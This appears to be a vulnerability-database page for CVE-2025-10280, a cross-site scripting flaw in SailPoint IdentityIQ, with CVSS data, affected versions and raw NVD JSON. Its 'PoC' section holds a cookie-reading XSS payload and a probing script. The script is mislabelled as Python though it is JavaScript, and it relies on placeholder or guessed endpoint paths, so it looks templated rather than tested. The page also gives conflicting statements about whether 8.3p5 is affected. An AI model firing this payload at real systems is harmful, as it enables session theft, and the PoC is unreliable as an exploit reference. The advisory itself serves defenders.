Security Vulnerability Report
中文
CVE-2025-10280 CVSS 7.1 HIGH

CVE-2025-10280

Published: 2025-11-03 17:15:33
Last Modified: 2025-11-12 14:49:57

Description

IdentityIQ 8.5, IdentityIQ 8.4 and all 8.4 patch levels prior to 8.4p4, IdentityIQ 8.3 and all 8.3 patch levels including 8.3p5, and all prior versions allows some IdentityIQ web services that provide non-HTML content to be accessed via a URL path that will set the Content-Type to HTML allowing a requesting browser to interpret content not properly escaped to prevent Cross-Site Scripting (XSS).

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sailpoint:identityiq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sailpoint:identityiq:8.3:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sailpoint:identityiq:8.3:patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sailpoint:identityiq:8.3:patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sailpoint:identityiq:8.3:patch4:*:*:*:*:*:* - VULNERABLE
IdentityIQ 8.5 (all versions)
IdentityIQ 8.4 < 8.4p4
IdentityIQ 8.3 < 8.3p5
IdentityIQ 所有更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-10280 PoC - IdentityIQ XSS via Content-Type Misconfiguration // Target: SailPoint IdentityIQ < 8.3p5, < 8.4p4, < 8.5 const axios = require('axios'); async function exploitCVE202510280(targetUrl) { console.log('[*] CVE-2025-10280 IdentityIQ XSS Exploit'); console.log(`[*] Target: ${targetUrl}`); // Malicious JavaScript payload for XSS const xssPayload = '<script>alert(document.cookie)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Known vulnerable endpoint patterns (example paths) const vulnerablePaths = [ '/identityiq/ui/index.html?param=' + encodedPayload, '/identityiq/webservices/.../vulnerable/endpoint?input=' + encodedPayload, '/identityiq/iiq/.../path/that/sets/html/content/type?data=' + encodedPayload ]; for (const path of vulnerablePaths) { try { console.log(`[*] Testing path: ${path}`); const response = await axios.get(targetUrl + path, { headers: { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-10280-Test)', 'Accept': 'text/html,application/xhtml+xml' }, timeout: 10000 }); // Check if Content-Type is incorrectly set to HTML const contentType = response.headers['content-type']; console.log(`[*] Content-Type: ${contentType}`); if (contentType && contentType.includes('text/html')) { console.log('[+] Potential vulnerability detected!'); console.log(`[+] Content-Type is text/html for non-HTML endpoint`); // Check if payload appears in response if (response.data.includes(xssPayload)) { console.log('[+] XSS payload reflected in response'); console.log('[+] Vulnerability confirmed!'); return true; } } } catch (error) { console.log(`[-] Error testing path: ${error.message}`); } } console.log('[*] Exploit completed'); return false; } // Example usage // exploitCVE202510280('https://vulnerable-identityiq-server.com');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10280", "sourceIdentifier": "[email protected]", "published": "2025-11-03T17:15:32.527", "lastModified": "2025-11-12T14:49:56.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IdentityIQ\n8.5, IdentityIQ 8.4 and all 8.4 patch levels prior to 8.4p4, IdentityIQ 8.3 and\nall 8.3 patch levels including 8.3p5, and all prior versions allows some\nIdentityIQ web services that provide non-HTML content to be accessed via a URL\npath that will set the Content-Type to HTML allowing a requesting browser to\ninterpret content not properly escaped to prevent Cross-Site Scripting (XSS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3", "matchCriteriaId": "B7992F80-093D-4277-9AA8-5438ABFBF83B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:-:*:*:*:*:*:*", "matchCriteriaId": "1173CC53-CBE5-450C-96BF-8583D1B3D185"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch1:*:*:*:*:*:*", "matchCriteriaId": "2C0F5E55-5D33-425F-9DA7-49FE66CD84C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch2:*:*:*:*:*:*", "matchCriteriaId": "1A2FD228-E6DB-49E3-BE3E-1BF9B0434FC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch4:*:*:*:*:*:*", "matchCriteriaId": "0652D99D-DC1E-4E22-8E7D-AE080494C50B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch5:*:*:*:*:*:*", "matchCriteriaId": "D7964011-B0F1-4F07-8C14-6EEA0B421F80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:-:*:*:*:*:*:*", "matchCriteriaId": "4BC4F08D-A3FB-41F6-8EFD-6F34FBC0F75F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:patch1:*:*:*:*:*:*", "matchCriteriaId": "4ECFADA6-BB7B-4228-9434-B92B2FF21481"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:patch2:*:*:*:*:*:*", "matchCriteriaId": "A39B1317-37C0-49DA-9207-7B7CBE6EC190"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.5:-:*:*:*:*:*:*", "matchCriteriaId": "01FF7480-9CBA-4283-994C-B2586C2F5F54"}]}]}], "references": [{"url": "https://www.sailpoint.com/security-advisories/sailpoint-identityiq-incorrect-content-type-cross-site-scripting-vulnerability-cve-2025-10280", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}